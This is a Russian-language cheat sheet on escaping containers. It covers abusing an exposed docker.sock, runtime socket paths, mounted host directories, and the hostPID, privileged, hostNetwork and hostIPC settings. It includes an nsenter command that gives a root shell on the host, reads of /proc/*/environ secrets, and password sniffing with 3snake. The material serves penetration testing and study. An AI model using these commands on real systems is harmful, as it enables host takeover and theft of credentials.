Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.

Иначе потребуется использовать команду

1 docker -H unix:///path/to/docker.sock ...

Другой вариант - через http запросы:

1 curl -s --unix-socket /var/run/docker.sock http:/containers/json

или через TCP-socket

1 curl -s http://<host>:<port>/containers/json

Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

rktlet socket

unix:///var/run/rktlet.sock


frakti socket

unix:///var/run/frakti.sock


cri-o socket

unix:///var/run/crio/crio.sock


containerd socket

unix:///run/containerd/containerd.sock


dockershim socket

unix:///var/run/dockershim.sock


Privileged container

Примонтированные директории

В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.

Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.

hostPID

Позволяет получить доступ к процессам директории /proc/

Что там может быть интересного:

0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.

1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать

2. Секреты в env - /proc/*/environ

3. Убивать процессы и вызывать DoS

4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).


privileged

Частный случай, когда контейнер является привилегированным.

Тогда достаточно заюзать следующую команду и перейти в рута хоста:

1 nsenter --target 1 --mount --uts --ipc --net --pid -- bash

hostNetwork

Позволяет взаимодействовать с сетью хоста.

Например, прослушивать трафик или MITM-атаки проводить.

Для этого достаточно юзать например tcpdump -i eth0

Примеры атак:

- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/

- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/


Общие вектора:

1. Сниффать трафик

2. Доступ к сервисам на localhost

3. Обход политик network (kubernetes).

hostIPC

Inter-Process Communication Mechanisms

Позволяет работать с каналами передачи между процессами.

Примеров мало, но советуют следующее:

1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение

2. Проверить IPC-facilities используя команду "ipcs -a"

Ссылки

Лабы

badPods - лаборатория уязвимых контейнеров


Статьи

0xn3va gitbook


Выступления

Container Escape in 2021 - Li Qiang HITB 2021